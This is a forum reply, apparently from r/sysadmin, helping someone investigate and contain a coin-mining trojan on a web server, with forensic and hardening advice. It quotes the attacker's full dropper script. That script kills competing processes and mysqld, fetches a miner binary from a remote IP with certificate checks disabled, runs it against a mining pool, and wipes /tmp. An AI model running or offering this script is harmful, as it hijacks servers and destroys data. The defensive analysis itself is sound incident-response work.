Coin miner trojan - help needed

r/sysadmin

correlate the creation date of the process "htop" with your webserver logs, to investigate how they got access to the server (wordpress/joomla/... exploit?). Analyze both access and error logs, there'll probable be clues about what they did (rfi? sqli?)

Also get the absolute path of the process "htop" (ls -l /proc/$(pgrep htop)/exe). Since it's executed as www-data, probably they dropped it to /tmp or /var/tmp. If the absolute path is not /tmp or /var/tmp (or /dev/shm maybe?), but your webserver root, then I'd temporary change the ownership of your webserver root: typically owned by user www-data, change it to root so noone can write files there (/var/html, /srv/.. etc)

You can also remove exec permissions to /tmp and /var/tmp

This seems to be the script used to download and exec the miner:

#!/bin/bash
ps aux | grep -v grep | grep 'tmp' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'var' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'cron' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'zergpool.com' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'pool' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'stratum' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'mysqld' | awk '{print $2}' | xargs -i kill -9 {}
kill $(pgrep log-rotate)
kill $(pgrep kdevtmp)
kill $(pgrep kinsing)
curl --insecure https://51.178.183.72/avx.gif -o /tmp/htop || wget --no-check-certificate https://51.178.183.72/avx.gif -O /tmp/htop
cd /tmp
chmod 777 /tmp/htop
./htop -a yescryptR16 -o 198.50.168.213:6333 -u qpkg4fgnh8a0hhzd2z9g80g4d09j6qnt0sth6l8x7z -p c=BCH --cpu-affinity 0x3 --cpu-priority 5 --background >/dev/null &
sleep 1
rm /tmp/*
rm /var/tmp/*

One way to prevent the miner to work would be by using opensnitch, to automatically deny outbound connections from not allowed processes: https://github.com/evilsocket/opensnitch/discussions/743

You could also deny outbound connections except to 80 and 443.

suricata could also have been useful in this scenario.

Think about configuring auditd, tracee, osquery, etc...

You could try installing clamAV but antiviruses don't really work